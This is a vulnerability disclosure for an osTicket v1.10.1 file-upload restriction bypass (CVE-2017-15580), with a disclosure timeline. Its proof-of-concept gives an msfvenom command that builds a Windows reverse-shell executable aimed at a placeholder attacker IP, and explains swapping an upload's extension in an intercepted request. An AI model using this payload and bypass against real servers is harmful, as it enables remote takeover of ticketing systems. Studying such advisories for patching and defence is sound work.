Reference: https://becomepentester.blogspot.ae/2017/10/osTicket-File-Upload-
Restrictions-Bypassed-CVE-2017-15580.html
*# Exploit Title: File Upload Restrictions Bypassed*
*# Date: 18 October, 2017*
*# Exploit Author: Rajwinder Singh*
*# Vendor Homepage: http://osticket.com/ <http://osticket.com/>*
*# Software Link: http://osticket.com/download/go?dl=osTicket-v1.10.1.zip
<http://osticket.com/download/go?dl=osTicket-v1.10.1.zip>*
*# Version: v1.10.1*
*# CVE : 2017-15580*
Vulnerability Details:
======================
osTicket application provides a functionality to upload 'html' files with
associated formats. However, application does not properly validate the
uploaded fileas contents and thus accepts any type of files.
*Proof-of-Concept:*
====================
Uploaded shell to get reverse shell of end user for the demo purpose.
1. Created a valid '.html' file to bypass client-side validations.
<html>
<title>test</title>
<body>
<p>test page</p>
</body>
</html>
2. Created a reverse shell with '.exe' file extension using msfvenom.
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=<YOUR
IP> LPORT=4444 -b "\x00" -e <encoder> -f exe -o reverse.exe
https://www.offensive-security.com/metasploit-unleashed/binary-payloads/
3. As shown in the below screenshot, intercepted the request and changed
file extension '.html' to '.exe' and received a valid response from server
along with uploaded malicious file.
<https://3.bp.blogspot.com/-XqKsaTccLvg/WebuXgaRd7I/AAAAAAAANVs/NoWSFi9Mmwol8KxzUJQzyCSonov3yqg6gCLcBGAs/s1600/1.file_upload_extension_bypass.JPG>
*Response:*
<https://4.bp.blogspot.com/-3peKN-VR_os/Webulv3N7aI/AAAAAAAANVw/17FtsSCVNoIxTcEsfUle4VxQKYlQoBAqQCLcBGAs/s1600/2.file_upload_extension_bypass.JPG>
4. As shown in the below screenshot, successfully uploaded malicious file
on the server.
<https://4.bp.blogspot.com/-lH2vbsUDKZQ/Webu0WOio-I/AAAAAAAANV0/Jl8KFD0cHZsinpENfc1hV8OaDtcH1P0YQCLcBGAs/s1600/3.file_upload_extension_bypass.JPG>
Ready to get reverse shell.
*Affected Component:*
====================
*Parameter:* tickets.php?id=<ticket_number>#reply
*Disclosure Timeline:*
=====================
Vendor Confirmation: 11 October, 2017
Mitre Notification: 17 October, 2017
Public Disclosure: 18 October, 2017
*Exploitation Technique:*
=======================
Remote
*Severity Level:*
================
High
*Description:*
=====================================================
Request Method(s): [+] POST
Vulnerable Product: [+] osTicket - v1.10.1
Vulnerable Parameter(s): [+] tickets.php?id=<ticket_number>#reply
Thank you
Polish
English